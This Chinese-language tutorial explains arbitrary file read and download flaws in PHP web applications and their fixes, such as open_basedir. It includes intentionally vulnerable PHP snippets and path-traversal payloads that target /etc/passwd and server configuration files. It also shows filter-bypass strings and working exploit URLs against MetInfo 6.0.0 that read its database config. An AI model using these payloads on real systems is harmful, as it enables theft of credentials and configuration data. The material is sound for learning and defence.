任意文件读取概述
一些网站的需求,可能会提供文件查看与下载的功能。如果对用户查看或下载的文件没有限制或者限制绕过,就可以查看或下载任意文件。这些文件可以是源代码文件,配置文件,敏感文件等等。
-
任意文件读取会造成(敏感)信息泄露;
-
任意文件读取大多数情况是由于其他漏洞引发的,如RCE、目录遍历、文件包含等。
-
任意文件读取与任意文件下载本质上没有区别,信息都是从服务端流向浏览器的。
任意文件读取与下载可能形式不同,但是从本质上讲读取与下载没有区别,从权限角度来讲,读取与下载都需要读权限。
漏洞成因
不管是任意文件读取还是任意文件下载,触发漏洞的条件都是相同的:
-
存在读取文件的功能(函数),也就是说,Web 应用开放了文件读取功能;
-
读取文件的路径客户端可控,完全控制或影响文件路径参数;
-
没有对文件路径进行校验或者校验不严导致校验被绕过;
-
输出了文件的内容。
漏洞危害
下载服务器任意文件,包括源代码文件、系统敏感文件、配置文件等等。
可以配合其他漏洞,构成完整攻击链。对源代码文件进行代码审计,查找更多的漏洞。
任意文件读取与下载重点关注的文件:
-
源代码
-
配置文件
-
敏感文件
-
日志文件
-
…
漏洞分类
-
任意文件读取
-
任意文件下载
任意文件读取
以PHP 脚本为例子,有一些函数可以实现文件读取功能。
文件读取
读取文件的函数 | 函数特点 |
---|---|
readfile() | 直接读取文件内容 自带输出功能 |
file_get_contents() | 直接读取文件内容 需要输出读取内容 |
file_get_contents() | 打开文件 计算文件大小 读取文件 输出文件 关闭文件 |
readfile:
// readfile.php
$fp = "../phpinfo.php";
readfile($fp);
file_get_contents:
// file_get_contents.php
$fp = "../phpinfo.php";
echo file_get_contents($fp);
fread:
// fread.php
$fp = "../phpinfo.php";
$f = fopen($fp,'r');
$f_size = filesize($fp);
echo fread($f, $f_size);
fclose($f);
任意文件读取
变量$fp,会捕获GET 方式传递过来的filepath 参数。
$fp = @$_GET['filepath'];
filepath 客户端可控,并且没有经过校验,会造成任意文件读取漏洞。
?filepath=index.php
?filepath=/etc/passwd
?filepath=c:\windows\system32\drivers\etc\hosts
?filepath=c:\phpstudy_2016\apache\conf\httpd.conf
?filepath=c:\phpstudy_2016\mysql\my.ini
?filepath=../../../../../../../../../../phpstudy_2016/www/phpinfo.php
?filePath=../../../../../../../../windows\system32\drivers\etc\hosts
?filePath=../../../../../../etc/hosts
任意文件下载
一般情况
直接下载:例如图片另存为。
a 标签下载:
<a href = './a.jpg'>IMG Download</a>
php实现
PHP 文件下载实现过程:
-
先读取文件
-
在输出文件
-
提供下载
// file-download.php
$fp = './a.jpg';
header('Content-Type:image/jpg');
header('Content-Disposition:attachment;fileName='.basename($fp));
readfile($fp);
任意文件下载
任意文件下载的条件:
-
已知目标文件路径
-
目标文件路径,客户端可控
-
没有经过校验或校验不严格
$fp = $_GET['filepath'];
?filepath=c:/windows/system32/drivers/etc/hosts
?filepath=/etc/passwd
任意文件读取攻防
路径过滤
过滤…/
$fp = @$_GET['filepath'];
$fp = str_replace("../","",$fp);
readfile($fp);
简单绕过
双写绕过
?filepath=..././..././..././..././..././..././..././windows\system32\drivers\etc\hosts
绝对路径
?filepath=c:/windows\system32\drivers\etc\hosts
使用…\
?filepath=..\..\..\..\..\windows\system32\drivers\etc\hosts
任意文件读取挖掘
手工挖掘
从文件名上看 | 从参数名上看 |
---|---|
readfile.php filedownload.php filelist.php … | f= file= filepath= fp= readfile= path= readpath= url= menu= META-INF= WEB-INF= content= … |
经典案例
- metinfo_6.0.0_file-read
该漏洞出现在metinfo_6.0.0下的/include/thumb.php文件中
该文件源码
<?php
# MetInfo Enterprise Content Management System
# Copyright (C) MetInfo Co.,Ltd (http://www.metinfo.cn). All rights reserved.
defined('IN_MET') or exit('No permission');
load::sys_class('web');
class old_thumb extends web{
public function doshow(){
global $_M;
$dir = str_replace(array('../','./'), '', $_GET['dir']);
if(substr(str_replace($_M['url']['site'], '', $dir),0,4) == 'http' && strpos($dir, './') === false){
header("Content-type: image/jpeg");
ob_start();
readfile($dir);
ob_flush();
flush();
die;
}
if($_M['form']['pageset']){
$path = $dir."&met-table={$_M['form']['met-table']}&met-field={$_M['form']['met-field']}";
}else{
$path = $dir;
}
$image = thumb($path,$_M['form']['x'],$_M['form']['y']);
if($_M['form']['pageset']){
$img = explode('?', $image);
$img = $img[0];
}else{
$img = $image;
}
if($img){
header("Content-type: image/jpeg");
ob_start();
readfile(PATH_WEB.str_replace($_M['url']['site'], '', $img));
ob_flush();
flush();
}
}
}
# This program is an open source system, commercial use, please consciously to purchase commercial license.
# Copyright (C) MetInfo Co., Ltd. (http://www.metinfo.cn). All rights reserved.
?>
过滤代码
$dir = str_replace(array('../','./'), '', $_GET['dir']);
if(substr(str_replace($_M['url']['site'], '', $dir),0,4) == 'http' && strpos($dir, './') === false)
将输入的…/和./过滤为空
并判断url的前四位是否为http并且输入的dir里面有没有./如果没有且头部为http,则可以执行
第一次测试 双写
/include/thumb.php?dir=..././http/..././config/config_db.php
第二次测试 三写
/include/thumb.php?dir=.....///http/.....///config/config_db.php
第三次测试
/include/thumb.php?dir=http/.....///.....///config/config_db.php
第四次测试
/include/thumb.php?dir=http\..\..\config\config_db.php
输出一下过滤后的dir和M
漏洞修复方案
输入验证
- 让web 用户只能访问(读取),所需要的文件和路径。
避免其它漏洞
- 不能有文件包含漏洞,目录遍历漏洞或其他漏洞。
限定文件的访问范围
-
让用户不能访问Web 根目录以外的路径。
-
php.ini 配置文件中,可以通过选项open_basedir 来限定文件访问的范围
open_basedir = c:\www\
参考链接
https://github.com/lijiejie/ds_store_exp
https://blog.csdn.net/GitChat/article/details/79014538
https://www.secpulse.com/archives/124398.html
https://github.com/kost/dvcs-ripper
https://github.com/lijiejie/GitHack
http://www.vuln.cn/2225
https://github.com/admintony/svnExploit
https://www.freebuf.com/vuls/181698.html